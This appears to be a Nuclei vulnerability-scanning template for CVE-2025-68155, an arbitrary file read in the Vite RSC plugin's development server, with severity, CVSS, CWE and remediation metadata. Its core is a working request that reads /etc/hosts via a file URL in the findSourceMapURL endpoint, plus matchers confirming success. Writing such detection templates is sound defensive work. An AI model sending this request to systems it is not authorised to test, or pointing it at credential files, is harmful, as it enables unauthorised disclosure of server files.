Description
The @vitejs/plugin-rsc development server before 0.5.8 reads an attacker-selected file through the __vite_rsc_findSourceMapURL endpoint when the filename parameter is a file URL.
The @vitejs/plugin-rsc development server before 0.5.8 reads an attacker-selected file through the __vite_rsc_findSourceMapURL endpoint when the filename parameter is a file URL.
id: CVE-2025-68155
info:
name: Vite RSC Plugin <= 0.5.7 - Arbitrary File Read
author: theamanrawat
severity: high
description: |
The @vitejs/plugin-rsc development server before 0.5.8 reads an attacker-selected file through the __vite_rsc_findSourceMapURL endpoint when the filename parameter is a file URL.
impact: |
An unauthenticated client that can reach a vulnerable development server can read files accessible to the Node.js process.
remediation: |
Update @vitejs/plugin-rsc to version 0.5.8 or later and restrict access to development servers.
reference:
- https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-g239-q96q-x4qm
- https://github.com/vitejs/vite-plugin-react/commit/582fba0b9a52b13fcff6beaaa3bfbd532bc5359d
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-68155
epss-score: 0.00539
epss-percentile: 0.4685
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
vendor: vitejs
product: plugin-rsc
tags: cve,cve2025,vitejs,plugin-rsc,lfi,file-read,dev-server,vkev
http:
- raw:
- |
GET /__vite_rsc_findSourceMapURL?filename=file:///etc/hosts&environmentName=Server HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "\"sources\"", "\"/etc/hosts\"", "\"sourcesContent\"", "\"mappings\"", "localhost")'
condition: and
# digest: 4b0a00483046022100dae8006018423a0db52ee488ab4e4b5d2c85cd27fd4ec0bd6d212e1636c50b51022100fd081b12855b2afdad858c37b0d8795b4699e012135fd13360eac226b21c30a8:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.